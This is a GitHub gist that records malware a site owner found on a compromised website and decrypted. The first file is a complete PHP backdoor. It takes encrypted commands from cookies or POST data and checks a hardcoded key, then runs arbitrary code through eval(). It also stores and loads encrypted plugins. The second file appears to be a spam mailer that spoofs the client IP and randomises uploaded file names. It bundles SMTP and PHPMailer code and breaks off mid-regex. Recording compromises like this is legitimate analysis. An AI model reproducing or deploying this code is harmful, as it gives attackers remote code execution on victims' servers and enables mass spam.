Skip to content

Instantly share code, notes, and snippets.

@nczz
Last active February 17, 2017 16:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nczz/487601e5a1cc6239e09a414595f4000b to your computer and use it in GitHub Desktop.
Save nczz/487601e5a1cc6239e09a414595f4000b to your computer and use it in GitHub Desktop.
Hacker 在網站上留下的遺跡,把原始加密版解密後發現居然還有外掛模組的部分,來紀錄一下!
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = '31aadb8f-338c-44bc-8751-07d7575a760c';
global $cs_auth;
function cs_GetHost()
{
return strtolower(preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']));
}
function cs_GetWritableDirs()
{
$res = Array();
$analysys_queue = Array();
$analysys_queue[] = cs_GetDocRoot();
$self_path = $_SERVER['SCRIPT_FILENAME'];
while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE)
{
$self_path = substr($self_path, 0, $slash);
if ($self_path == cs_GetDocRoot())
{
break;
}
if (strlen($self_path))
{
$analysys_queue[] = $self_path;
}
}
foreach ($analysys_queue as $current_dir)
{
if (!in_array($current_dir, $res))
{
$res = array_merge($res, cs_GetDirectoryList($current_dir));
}
}
return cs_CheckWritable(array_unique($res));
}
function cs_CheckWritable($dir_list)
{
$dir_list_writable = Array();
foreach ($dir_list as $dir)
{
if (@is_writable($dir) && is_dir($dir))
{
$dir_list_writable[] = $dir;
}
}
return $dir_list_writable;
}
function cs_GetDirectoryList($dir, $depth=10)
{
$result = array();
if (!is_dir($dir))
{
return $result;
}
$result[] = $dir;
$dir_count = 0;
if ($depth < 1)
{
return $result;
}
$dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');
$h = @opendir($dir);
if ($h === FALSE)
{
return $result;
}
while (($f = readdir($h)) !== FALSE)
{
if ($f !== '.' and $f !== '..')
{
$current_dir = "$dir/$f";
if (is_dir($current_dir))
{
$dir_count += 1;
$result[] = $current_dir;
$result = array_merge($result, cs_GetDirectoryList($current_dir, $depth / 10));
}
}
}
closedir($h);
return $result;
}
function cs_GetDocRoot()
{
$docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);
if ($docroot_end === FALSE)
{
return $_SERVER['DOCUMENT_ROOT'];
}
elseif ($docroot_end === 0)
{
return "/";
}
else
{
return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);
}
}
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_file_read($path)
{
$data = @file_get_contents($path);
return $data;
}
function cs_file_write($path, $data)
{
@file_put_contents($path, $data);
}
function cs_file_append($path, $data)
{
@file_put_contents($path, $data, 8);
}
function cs_sort_comparer($a, $b)
{
return strlen($a) - strlen($b);
}
function cs_GetCommonStorage($dirs=NULL)
{
$self_dir = dirname(__FILE__);
$common_names = Array("options", "views", "pages", "sessions", "stats", "users", "articles", "dump", "headers", "libs");
$tmp_dir = $self_dir . "/" . $common_names[strlen(cs_GetHost()) % count($common_names)];
if (file_exists($tmp_dir))
{
return $tmp_dir;
}
if(mkdir($tmp_dir))
{
return $tmp_dir;
}
return "";
}
function cs_plugin_add($name, $base64_data)
{
$data = base64_decode($base64_data);
$storage_path = cs_GetCommonStorage() . "/";
$storage_path = $storage_path . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost());
cs_file_write($storage_path, cs_encrypt($data, cs_GetHost()));
}
function cs_plugin_rem($name)
{
$storage_path = cs_GetCommonStorage(). "/";
$storage_path = $storage_path . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost());
if (file_exists($storage_path))
{
@unlink($storage_path);
}
}
function cs_plugin_load($name=NULL)
{
$storage_path = cs_GetCommonStorage();
if (is_dir($storage_path))
{
if ($name == NULL) // load all plugins
{
foreach (scandir($storage_path) as $key=>$plugin_name)
{
if (strpos($plugin_name, substr(md5("cache"), 0, 5)) !== False)
{
@eval(cs_decrypt(cs_file_read($storage_path . "/" . $plugin_name), cs_GetHost()));
}
}
}
else
{
$storage_path = $storage_path . "/" . substr(md5("cache"), 0, 5) . "_" . md5($name . cs_GetHost());
if (file_exists($storage_path))
{
@eval(cs_decrypt(cs_file_read($storage_path), cs_GetHost()));
}
}
}
}
function cs_writable_check()
{
if (strlen(cs_GetCommonStorage()) != 0)
{
return True;
}
else
{
return False;
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '1.0-2',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
exit();
}
cs_plugin_load();
}
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}
if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
if(!strpos($file['name'], ".jpg"))
{
$filename = alter_macros($file['name']);
$filename = num_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}
}
function custom_strip_tags($text)
{
$text = strip_tags($text, '<a>');
$text = str_replace("<a href=\"", "[ ", $text);
$text = str_replace("</a>", "", $text);
$text = str_replace("\">", " ] ", $text);
return $text;
}
function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
$host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
if (is_ip($host))
{
return $content;
}
$tokens = explode("@", $content);
$content = $tokens[0] . "@" . $host . ">";
return $content;
}
function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);
for($i = 0; $i < count($matches[1]); $i++)
{
$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}
function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}
function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}
class SMTP
{
const VERSION = '5.2.10';
const CRLF = "\r\n";
const DEFAULT_SMTP_PORT = 25;
const MAX_LINE_LENGTH = 998;
const DEBUG_OFF = 0;
const DEBUG_CLIENT = 1;
const DEBUG_SERVER = 2;
const DEBUG_CONNECTION = 3;
const DEBUG_LOWLEVEL = 4;
public $Version = '5.2.10';
public $SMTP_PORT = 25;
public $CRLF = "\r\n";
public $do_debug = self::DEBUG_OFF;
public $Debugoutput = 'echo';
public $do_verp = false;
public $Timeout = 300;
public $Timelimit = 300;
protected $smtp_conn;
protected $error = array(
'error' => '',
'detail' => '',
'smtp_code' => '',
'smtp_code_ex' => ''
);
protected $helo_rply = null;
protected $server_caps = null;
protected $last_reply = '';
protected function edebug($str, $level = 0)
{
if ($level > $this->do_debug) {
return;
}
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput, $str, $this->do_debug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
error_log($str);
break;
case 'html':
echo htmlentities(
preg_replace('/[\r\n]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. "<br>\n";
break;
case 'echo':
default:
$str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
"\n",
"\n \t ",
trim($str)
)."\n";
}
}
public function connect($host, $port = null, $timeout = 30, $options = array())
{
static $streamok;
if (is_null($streamok)) {
$streamok = function_exists('stream_socket_client');
}
$this->setError('');
if ($this->connected()) {
$this->setError('Already connected to a server');
return false;
}
if (empty($port)) {
$port = self::DEFAULT_SMTP_PORT;
}
$this->edebug(
"Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
self::DEBUG_CONNECTION
);
$errno = 0;
$errstr = '';
if ($streamok) {
$socket_context = stream_context_create($options);
$this->smtp_conn = @stream_socket_client(
$host . ":" . $port,
$errno,
$errstr,
$timeout,
STREAM_CLIENT_CONNECT,
$socket_context
);
} else {
$this->edebug(
"Connection: stream_socket_client not available, falling back to fsockopen",
self::DEBUG_CONNECTION
);
$this->smtp_conn = fsockopen(
$host,
$port,
$errno,
$errstr,
$timeout
);
}
if (!is_resource($this->smtp_conn)) {
$this->setError(
'Failed to connect to server',
$errno,
$errstr
);
$this->edebug(
'SMTP ERROR: ' . $this->error['error']
. ": $errstr ($errno)",
self::DEBUG_CLIENT
);
return false;
}
$this->edebug('Connection: opened', self::DEBUG_CONNECTION);
if (substr(PHP_OS, 0, 3) != 'WIN') {
$max = ini_get('max_execution_time');
if ($max != 0 && $timeout > $max) {
@set_time_limit($timeout);
}
stream_set_timeout($this->smtp_conn, $timeout, 0);
}
$announce = $this->get_lines();
$this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
return true;
}
public function startTLS()
{
if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
return false;
}
if (!stream_socket_enable_crypto(
$this->smtp_conn,
true,
STREAM_CRYPTO_METHOD_TLS_CLIENT
)) {
return false;
}
return true;
}
public function authenticate(
$username,
$password,
$authtype = null,
$realm = '',
$workstation = ''
) {
if (!$this->server_caps) {
$this->setError('Authentication is not allowed before HELO/EHLO');
return false;
}
if (array_key_exists('EHLO', $this->server_caps)) {
if (!array_key_exists('AUTH', $this->server_caps)) {
$this->setError('Authentication is not allowed at this stage');
return false;
}
self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
self::edebug(
'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
self::DEBUG_LOWLEVEL
);
if (empty($authtype)) {
foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
if (in_array($method, $this->server_caps['AUTH'])) {
$authtype = $method;
break;
}
}
if (empty($authtype)) {
$this->setError('No supported authentication methods found');
return false;
}
self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
}
if (!in_array($authtype, $this->server_caps['AUTH'])) {
$this->setError("The requested authentication method \"$authtype\" is not supported by the server");
return false;
}
} elseif (empty($authtype)) {
$authtype = 'LOGIN';
}
switch ($authtype) {
case 'PLAIN':
if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
return false;
}
if (!$this->sendCommand(
'User & Password',
base64_encode("\0" . $username . "\0" . $password),
235
)
) {
return false;
}
break;
case 'LOGIN':
if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
return false;
}
if (!$this->sendCommand("Username", base64_encode($username), 334)) {
return false;
}
if (!$this->sendCommand("Password", base64_encode($password), 235)) {
return false;
}
break;
case 'NTLM':
require_once 'extras/ntlm_sasl_client.php';
$temp = new stdClass;
$ntlm_client = new ntlm_sasl_client_class;
if (!$ntlm_client->Initialize($temp)) {
$this->setError($temp->error);
$this->edebug(
'You need to enable some modules in your php.ini file: '
. $this->error['error'],
self::DEBUG_CLIENT
);
return false;
}
$msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
if (!$this->sendCommand(
'AUTH NTLM',
'AUTH NTLM ' . base64_encode($msg1),
334
)
) {
return false;
}
$challenge = substr($this->last_reply, 3);
$challenge = b64d($challenge);
$ntlm_res = $ntlm_client->NTLMResponse(
substr($challenge, 24, 8),
$password
);
$msg3 = $ntlm_client->TypeMsg3(
$ntlm_res,
$username,
$realm,
$workstation
);
return $this->sendCommand('Username', base64_encode($msg3), 235);
case 'CRAM-MD5':
if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
return false;
}
$challenge = b64d(substr($this->last_reply, 4));
$response = $username . ' ' . $this->hmac($challenge, $password);
return $this->sendCommand('Username', base64_encode($response), 235);
default:
$this->setError("Authentication method \"$authtype\" is not supported");
return false;
}
return true;
}
protected function hmac($data, $key)
{
if (function_exists('hash_hmac')) {
return hash_hmac('md5', $data, $key);
}
$bytelen = 64; // byte length for md5
if (strlen($key) > $bytelen) {
$key = pack('H*', md5($key));
}
$key = str_pad($key, $bytelen, chr(0x00));
$ipad = str_pad('', $bytelen, chr(0x36));
$opad = str_pad('', $bytelen, chr(0x5c));
$k_ipad = $key ^ $ipad;
$k_opad = $key ^ $opad;
return md5($k_opad . pack('H*', md5($k_ipad . $data)));
}
public function connected()
{
if (is_resource($this->smtp_conn)) {
$sock_status = stream_get_meta_data($this->smtp_conn);
if ($sock_status['eof']) {
$this->edebug(
'SMTP NOTICE: EOF caught while checking if connected',
self::DEBUG_CLIENT
);
$this->close();
return false;
}
return true; // everything looks good
}
return false;
}
public function close()
{
$this->setError('');
$this->server_caps = null;
$this->helo_rply = null;
if (is_resource($this->smtp_conn)) {
fclose($this->smtp_conn);
$this->smtp_conn = null; //Makes for cleaner serialization
$this->edebug('Connection: closed', self::DEBUG_CONNECTION);
}
}
public function data($msg_data)
{
if (!$this->sendCommand('DATA', 'DATA', 354)) {
return false;
}
$lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
$field = substr($lines[0], 0, strpos($lines[0], ':'));
$in_headers = false;
if (!empty($field) && strpos($field, ' ') === false) {
$in_headers = true;
}
foreach ($lines as $line) {
$lines_out = array();
if ($in_headers and $line == '') {
$in_headers = false;
}
while (isset($line[self::MAX_LINE_LENGTH])) {
$pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
if (!$pos) {
$pos = self::MAX_LINE_LENGTH - 1;
$lines_out[] = substr($line, 0, $pos);
$line = substr($line, $pos);
} else {
$lines_out[] = substr($line, 0, $pos);
$line = substr($line, $pos + 1);
}
if ($in_headers) {
$line = "\t" . $line;
}
}
$lines_out[] = $line;
foreach ($lines_out as $line_out) {
if (!empty($line_out) and $line_out[0] == '.') {
$line_out = '.' . $line_out;
}
$this->client_send($line_out . self::CRLF);
}
}
$savetimelimit = $this->Timelimit;
$this->Timelimit = $this->Timelimit * 2;
$result = $this->sendCommand('DATA END', '.', 250);
$this->Timelimit = $savetimelimit;
return $result;
}
public function hello($host = '')
{
return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
}
protected function sendHello($hello, $host)
{
$noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
$this->helo_rply = $this->last_reply;
if ($noerror) {
$this->parseHelloFields($hello);
} else {
$this->server_caps = null;
}
return $noerror;
}
protected function parseHelloFields($type)
{
$this->server_caps = array();
$lines = explode("\n", $this->last_reply);
foreach ($lines as $n => $s) {
$s = trim(substr($s, 4));
if (!$s) {
continue;
}
$fields = explode(' ', $s);
if (!empty($fields)) {
if (!$n) {
$name = $type;
$fields = $fields[0];
} else {
$name = array_shift($fields);
if ($name == 'SIZE') {
$fields = ($fields) ? $fields[0] : 0;
}
}
$this->server_caps[$name] = ($fields ? $fields : true);
}
}
}
public function mail($from)
{
$useVerp = ($this->do_verp ? ' XVERP' : '');
return $this->sendCommand(
'MAIL FROM',
'MAIL FROM:<' . $from . '>' . $useVerp,
250
);
}
public function quit($close_on_error = true)
{
$noerror = $this->sendCommand('QUIT', 'QUIT', 221);
$err = $this->error; //Save any error
if ($noerror or $close_on_error) {
$this->close();
$this->error = $err; //Restore any error from the quit command
}
return $noerror;
}
public function recipient($toaddr)
{
return $this->sendCommand(
'RCPT TO',
'RCPT TO:<' . $toaddr . '>',
array(250, 251)
);
}
public function reset()
{
return $this->sendCommand('RSET', 'RSET', 250);
}
protected function sendCommand($command, $commandstring, $expect)
{
if (!$this->connected()) {
$this->setError("Called $command without being connected");
return false;
}
$this->client_send($commandstring . self::CRLF);
$this->last_reply = $this->get_lines();
$matches = array();
if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
$code = $matches[1];
$code_ex = (count($matches) > 2 ? $matches[2] : null);
$detail = preg_replace(
"/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
'',
$this->last_reply
);
} else {
$code = substr($this->last_reply, 0, 3);
$code_ex = null;
$detail = substr($this->last_reply, 4);
}
$this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
if (!in_array($code, (array)$expect)) {
$this->setError(
"$command command failed",
$detail,
$code,
$code_ex
);
$this->edebug(
'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
self::DEBUG_CLIENT
);
return false;
}
$this->setError('');
return true;
}
public function sendAndMail($from)
{
return $this->sendCommand('SAML', "SAML FROM:$from", 250);
}
public function verify($name)
{
return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
}
public function noop()
{
return $this->sendCommand('NOOP', 'NOOP', 250);
}
public function turn()
{
$this->setError('The SMTP TURN command is not implemented');
$this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
return false;
}
public function client_send($data)
{
$this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
return fwrite($this->smtp_conn, $data);
}
public function getError()
{
return $this->error;
}
public function getServerExtList()
{
return $this->server_caps;
}
public function getServerExt($name)
{
if (!$this->server_caps) {
$this->setError('No HELO/EHLO was sent');
return null;
}
// the tight logic knot ;)
if (!array_key_exists($name, $this->server_caps)) {
if ($name == 'HELO') {
return $this->server_caps['EHLO'];
}
if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
return false;
}
$this->setError('HELO handshake was used. Client knows nothing about server extensions');
return null;
}
return $this->server_caps[$name];
}
public function getLastReply()
{
return $this->last_reply;
}
protected function get_lines()
{
if (!is_resource($this->smtp_conn)) {
return '';
}
$data = '';
$endtime = 0;
stream_set_timeout($this->smtp_conn, $this->Timeout);
if ($this->Timelimit > 0) {
$endtime = time() + $this->Timelimit;
}
while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
$str = @fgets($this->smtp_conn, 515);
$this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
$this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
$data .= $str;
$this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
if ((isset($str[3]) and $str[3] == ' ')) {
break;
}
$info = stream_get_meta_data($this->smtp_conn);
if ($info['timed_out']) {
$this->edebug(
'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
self::DEBUG_LOWLEVEL
);
break;
}
if ($endtime and time() > $endtime) {
$this->edebug(
'SMTP -> get_lines(): timelimit reached ('.
$this->Timelimit . ' sec)',
self::DEBUG_LOWLEVEL
);
break;
}
}
return $data;
}
public function setVerp($enabled = false)
{
$this->do_verp = $enabled;
}
public function getVerp()
{
return $this->do_verp;
}
protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
{
$this->error = array(
'error' => $message,
'detail' => $detail,
'smtp_code' => $smtp_code,
'smtp_code_ex' => $smtp_code_ex
);
}
public function setDebugOutput($method = 'echo')
{
$this->Debugoutput = $method;
}
public function getDebugOutput()
{
return $this->Debugoutput;
}
public function setDebugLevel($level = 0)
{
$this->do_debug = $level;
}
public function getDebugLevel()
{
return $this->do_debug;
}
public function setTimeout($timeout = 0)
{
$this->Timeout = $timeout;
}
public function getTimeout()
{
return $this->Timeout;
}
}
class PHPMailer
{
public $Version = '5.2.9';
public $Priority = 3;
public $CharSet = 'iso-8859-1';
public $ContentType = 'text/plain';
public $Encoding = '8bit';
public $ErrorInfo = '';
public $From = 'root@localhost';
public $FromName = 'Root User';
public $Sender = '';
public $ReturnPath = '';
public $Subject = '';
public $Body = '';
public $AltBody = '';
public $Ical = '';
protected $MIMEBody = '';
protected $MIMEHeader = '';
protected $mailHeader = '';
public $WordWrap = 0;
public $Mailer = 'mail';
public $Sendmail = '/usr/sbin/sendmail';
public $UseSendmailOptions = true;
public $PluginDir = '';
public $ConfirmReadingTo = '';
public $Hostname = '';
public $MessageID = '';
public $MessageDate = '';
public $Host = 'localhost';
public $Port = 25;
public $Helo = '';
public $SMTPSecure = '';
public $SMTPAuth = false;
public $Username = '';
public $Password = '';
public $AuthType = '';
public $Realm = '';
public $Workstation = '';
public $Timeout = 300;
public $SMTPDebug = 0;
public $Debugoutput = 'echo';
public $SMTPKeepAlive = false;
public $SingleTo = false;
public $SingleToArray = array();
public $do_verp = false;
public $AllowEmpty = false;
public $LE = "\n";
public $DKIM_selector = '';
public $DKIM_identity = '';
public $DKIM_passphrase = '';
public $DKIM_domain = '';
public $DKIM_private = '';
public $action_function = '';
public $XMailer = '';
protected $smtp = null;
protected $to = array();
protected $cc = array();
protected $bcc = array();
protected $ReplyTo = array();
protected $all_recipients = array();
protected $attachment = array();
protected $CustomHeader = array();
protected $lastMessageID = '';
protected $message_type = '';
protected $boundary = array();
protected $language = array();
protected $error_count = 0;
protected $sign_cert_file = '';
protected $sign_key_file = '';
protected $sign_key_pass = '';
protected $exceptions = false;
const STOP_MESSAGE = 0;
const STOP_CONTINUE = 1;
const STOP_CRITICAL = 2;
const CRLF = "\r\n";
public function __construct($exceptions = false)
{
$this->exceptions = (boolean)$exceptions;
}
public function __destruct()
{
}
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
protected function edebug($str)
{
if ($this->SMTPDebug <= 0) {
return;
}
//Avoid clash with built-in function names
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
//Don't output, just log
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[\r\n]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. "<br>\n";
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
"\n",
"\n \t ",
trim($str)
) . "\n";
}
}
public function isHTML($isHtml = true)
{
if ($isHtml) {
$this->ContentType = 'text/html';
} else {
$this->ContentType = 'text/plain';
}
}
public function isSMTP()
{
$this->Mailer = 'smtp';
}
public function isMail()
{
$this->Mailer = 'mail';
}
public function isSendmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'sendmail')) {
$this->Sendmail = '/usr/sbin/sendmail';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'sendmail';
}
public function isQmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'qmail')) {
$this->Sendmail = '/var/qmail/bin/qmail-inject';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'qmail';
}
public function addAddress($address, $name = '')
{
return $this->addAnAddress('to', $address, $name);
}
public function addCC($address, $name = '')
{
return $this->addAnAddress('cc', $address, $name);
}
public function addBCC($address, $name = '')
{
return $this->addAnAddress('bcc', $address, $name);
}
public function addReplyTo($address, $name = '')
{
return $this->addAnAddress('Reply-To', $address, $name);
}
protected function addAnAddress($kind, $address, $name = '')
{
if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
$this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
$this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
if ($this->exceptions) {
throw new phpmailerException('Invalid recipient array: ' . $kind);
}
return false;
}
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
if (!$this->validateAddress($address)) {
$this->setError($this->lang('invalid_address') . ': ' . $address);
$this->edebug($this->lang('invalid_address') . ': ' . $address);
if ($this->exceptions) {
throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
}
return false;
}
if ($kind != 'Reply-To') {
if (!isset($this->all_recipients[strtolower($address)])) {
array_push($this->$kind, array($address, $name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
} else {
if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address, $name);
return true;
}
}
return false;
}
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
if (!$this->validateAddress($address)) {
$this->setError($this->lang('invalid_address') . ': ' . $address);
$this->edebug($this->lang('invalid_address') . ': ' . $address);
if ($this->exceptions) {
throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
public function getLastMessageID()
{
return $this->lastMessageID;
}
public static function validateAddress($address, $patternselect = 'auto')
{
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
